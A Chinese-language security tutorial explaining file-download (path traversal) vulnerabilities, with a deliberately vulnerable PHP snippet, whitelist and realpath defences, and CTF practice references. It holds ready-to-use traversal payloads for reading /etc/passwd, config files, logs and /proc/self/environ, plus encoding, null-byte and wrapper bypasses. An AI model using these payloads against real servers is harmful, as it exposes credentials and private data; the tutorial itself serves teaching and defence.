当前位置: 首页 > news >正文

Web渗透之前后端漏洞-文件下载漏洞

本文仅用于网络安全技术学习与授权测试交流。任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、什么是文件下载漏洞

二、漏洞产生的原因

三、漏洞危害

四、典型攻击示例

1. 路径穿越读取系统文件

2. 读取 PHP 源码

3. 使用编码绕过过滤

4. 利用空字节截断(旧版 PHP)

5. 利用 ZIP 或 Phar 协议(某些语言)

五、漏洞检测方法

六、防御措施

1. 白名单限制

2. 路径过滤与规范化

3. 隐藏真实路径

4. 文件权限最小化

5. 禁用危险函数或协议

6. 输出强制下载

七、与文件包含漏洞的区别

八、实战 CTF 常用 Payload

九、总结

十、靶场演示推荐

一、CTFHub 相关题目

二、BUUCTF 相关题目


一、什么是文件下载漏洞

文件下载漏洞是指 Web 应用程序在实现文件下载功能时,对用户传入的文件路径参数未进行严格过滤,导致攻击者可以任意下载服务器上的敏感文件(如源代码、配置文件、数据库备份、系统密码文件等)。

这类漏洞常出现在提供文件下载的页面,例如:

  • download.php?filename=report.pdf

  • file.jsp?path=/uploads/guide.doc

攻击者通过修改filenamepath参数,尝试读取服务器任意位置的文件。


二、漏洞产生的原因

典型的不安全代码(PHP 示例):

$filename = $_GET['filename']; $filepath = "/var/www/downloads/" . $filename; header('Content-Type: application/octet-stream'); readfile($filepath);
  • 直接拼接用户输入:未过滤../\等路径穿越字符。

  • 未限制基础目录:没有使用realpath()open_basedir限制可访问范围。

  • 未进行白名单校验:允许用户任意指定文件名。


三、漏洞危害

文件类型典型路径泄露信息
源代码index.phpconfig.phpinc/*.inc数据库密码、API密钥、业务逻辑漏洞
配置文件/etc/passwd/etc/shadow(需root)、web.config.htaccess系统用户、服务器配置
日志文件/var/log/apache2/access.logerror.log访问记录、错误信息、后台路径
数据库备份backup.sql*.sql*.dump用户数据、管理员密码哈希
敏感数据/proc/self/environ/proc/net/arp/root/.bash_history环境变量、内网信息、命令历史
其他 Web 应用文件../其他目录/file.txt跨目录读取

四、典型攻击示例

1. 路径穿越读取系统文件
http://target.com/download.php?file=../../../../etc/passwd

如果服务器为 Linux 且 Web 用户有读取权限,则返回/etc/passwd

2. 读取 PHP 源码
http://target.com/download.php?file=../config.php

直接下载config.php,获取数据库账号密码。

3. 使用编码绕过过滤
  • URL 编码:%2e%2e%2f../

  • 双写绕过:....//→ 过滤后剩../

  • 绝对路径:/etc/passwd(若未过滤斜杠)

4. 利用空字节截断(旧版 PHP)
download.php?file=../../etc/passwd%00.jpg

如果后端强制添加.jpg%00可截断后缀。

5. 利用 ZIP 或 Phar 协议(某些语言)
// 如果允许 zip:// 或 phar:// download.php?file=zip://uploads/evil.zip%23shell.php

五、漏洞检测方法

  • 手工测试:修改下载参数为../../etc/passwd,观察返回内容。

  • 模糊测试:使用 Burp Intruder 批量尝试常见敏感文件路径。

  • 代码审计:搜索文件读取函数(readfilefile_get_contentsfopenFile.ReadAllText等),检查参数是否用户可控。


六、防御措施

1. 白名单限制
$allow_files = ['report.pdf', 'guide.doc', 'manual.txt']; if(!in_array($_GET['file'], $allow_files)) { die('非法文件'); }
2. 路径过滤与规范化
$base = '/var/www/downloads/'; $file = realpath($base . $_GET['file']); if($file === false || strpos($file, $base) !== 0) { die('非法路径'); } readfile($file);
3. 隐藏真实路径
  • 将文件 ID 映射到真实路径(如数据库存储id->path)。

  • 使用随机化文件名存储(如 UUID),对外只暴露 ID。

4. 文件权限最小化
  • Web 用户不应有读取非 Web 目录文件的权限(如通过open_basedir限制)。

  • 敏感文件(如配置文件)应设置仅应用账户可读,Web 用户不可读。

5. 禁用危险函数或协议
  • PHP 中禁用zip://phar://等(非必要)。

  • 设置allow_url_fopen = Off(如果不需要远程读取)。

6. 输出强制下载
  • 设置正确的Content-TypeContent-Disposition: attachment,避免文件内容直接在浏览器显示(但不能阻止路径遍历)。


七、与文件包含漏洞的区别

对比文件下载漏洞文件包含漏洞
目的读取文件内容(下载)将文件内容作为脚本执行
函数readfilefile_get_contentsfopenincluderequire
后果信息泄露(源码、配置、数据)代码执行(Getshell)
典型防御白名单、路径限制、权限最小化白名单、禁用远程包含、路径限制

八、实战 CTF 常用 Payload

目标Payload 示例
读取/etc/passwd?file=../../../../etc/passwd
读取index.php源码?file=index.php(直接下载)
读取config.php(上级目录)?file=../config.php
使用编码绕过?file=%2e%2e%2f%2e%2e%2fetc/passwd
绝对路径(Linux)?file=/etc/passwd
绝对路径(Windows)?file=C:\Windows\win.ini
读取 Web 日志?file=../../../../var/log/apache2/access.log
读取进程环境变量?file=../../../../proc/self/environ

九、总结

文件下载漏洞本质是路径遍历(Path Traversal)+ 文件读取的组合。开发者在实现下载功能时,必须对用户输入进行严格限制,永远不要直接拼接文件路径。采用白名单、映射 ID、路径规范化是最有效的防御手段。

十、靶场演示推荐

下面罗列了一些靶场示例,可以去我的ctf解题专栏查看解题思路

一、CTFHub 相关题目

CTFHub 技能树中明确划分了“备份文件下载”“目录遍历”两个章节,专门考察文件下载漏洞。

题目分类题目名称(考点)简要说明
备份文件下载网站源码 (/www.zip等)访问常见备份文件(.zip.tar.rar)下载源码。
bak 文件 (index.php.bak)通过访问index.php.bak等备份文件获得源码。
vim 缓存 (index.php.swp)vim 意外退出留下的缓存文件,下载后可恢复源码。
.DS_StoremacOS 目录文件泄露,可获取文件列表。
目录遍历任意文件读取通过?file=../../../../etc/passwd等参数读取系统文件。
信息泄露其他信息泄露(如.git.svn虽然属于信息泄露,但也常通过文件下载方式获取。
二、BUUCTF 相关题目

BUUCTF 中没有独立的“文件下载”分类,但以下题目涉及下载备份文件、读取源码或任意文件读取。

题目名称考点(文件下载相关)利用方式简述
[极客大挑战 2019]Secret File文件包含 +php://filter读取源码通过php://filter伪协议读取flag.php的 Base64 编码内容。
[极客大挑战 2019]PHP/www.zip备份文件泄露访问/www.zip下载网站全部源码,审计后反序列化获取 flag。
[ACTF2020 新生赛]BackupFileindex.php.bak备份文件访问/index.php.bak获得源码,发现弱比较漏洞。
[护网杯 2018]easy_tornado任意文件读取(结合 SSTI)通过模板注入获取cookie_secret,然后构造filehash读取/fllllllllllag
[BJDCTF2020]EasySearch.swp缓存文件泄露访问index.php.swp恢复源码,获得后台密码。
[GXYCTF2019]禁止套娃.git源码泄露使用git restore或工具下载源码,审计发现 RCE 漏洞。
[RoarCTF 2019]Easy Java任意文件读取(Java Web)通过filename=/WEB-INF/web.xml读取配置文件,进一步下载classes下的 class 文件。
[BSidesCF 2020]Had a bad day文件包含 + 伪协议读取利用php://filter读取index.php源码。
http://www.jsqmd.com/news/1009184/

相关文章:

  • 如何用 Agent 自动发视频?这套 Skills 你拿去用
  • 深入对比:在TC397上用EB-tresos玩转GTM与GPT12定时器,到底该怎么选?
  • 2026年涉税稽查代办机构怎么选?基于服务能力与区域覆盖的客观分析 - 优质品牌商家
  • 2026年动物实验找哪家做比较好?专业机构选择参考 - 品牌排行榜
  • 2026成都钢琴选购指南:正规琴行、性价比与真实案例全解析 - 优质品牌商家
  • 别再问TongWeb8能不能支持XX了!一份给开发者的技术选型自查清单(含Spring Boot、.NET Core、PHP等场景)
  • ESP32-S3双I2S接口实战:用INMP441麦克风和MAX98357功放搭建简易对讲机(PlatformIO环境)
  • 从CD4060到MC14521B:两种经典长延时电路方案全解析,新手该选哪个?
  • 法考刑法知识点汇总|刑法|资料已整理
  • Stable Diffusion采样器怎么选?我用腾讯云HAI跑了一遍AnimateDiff,给你这份人像/风景实测报告
  • 实战:用RTC实现一个带闹钟的电子时钟
  • 告别TI天价LDO!用SGM2211+SGM2209+SGM3204搭建你的高精度运放双电源(附Type-C供电方案)
  • 易水湖周边口碑民宿榜单,京津冀短途旅居住宿优选参考 - 海棠依旧大
  • BERTScore完整指南:3种方法提升文本生成评估准确性
  • 2026 易水湖靠谱民宿哪家好,本地口碑实地推荐 - 易水湖老郝渔村民宿首选 - 海棠依旧大
  • 基于可验证生成式AI的电商推荐幻觉拦截系统(DLOS):设计、实现与评估
  • 阿里面试官: 如何设计一个 Agent 工具?来一个 顶尖的 工业级实战:本地工具 + MCP 混合工具底座设计
  • FRB 20240114A观测与数据处理技术解析
  • 别再纠结了!手把手教你根据电脑配置和需求选 LibreOffice 还是 OpenOffice
  • 免费获取同花顺问财数据的终极指南:告别Excel,拥抱Python自动化
  • 2026年当前,探寻内蒙古工程项目管理服务企业的优质之选 - 品牌鉴赏官2026
  • 从智能小车到无人机云台:拆解IR2104在半桥驱动中的经典应用与选型替代
  • 盖土网与安全网选型技术要点及行业实测对比:成都,建筑安全网/成都仿真草坪/成都安全网/西藏仿真草坪/实力盘点 - 优质品牌商家
  • 2026行业内质量好的水泥基防火涂料生产厂家推荐排行 - 品牌排行榜
  • HAL库实战优化:如何重构串口驱动,告别官方Demo的全局变量陷阱
  • 保姆级教程:创维E900V20C免拆刷机,用ADB命令搞定当贝桌面(附固件包)
  • 5分钟免费解锁:applera1n iOS 15-16.6激活锁绕过完整指南
  • 从VisionMaster上手到Halcon进阶:我的机器视觉学习路线与实战项目复盘
  • 飞凌OK-MX93xx-C开发板开箱上手:i.MX 93的L3 Cache带ECC,这车规级芯片有点东西
  • Android AudioRecord避坑指南:从权限、采样率到bufferSize,一次讲清所有参数配置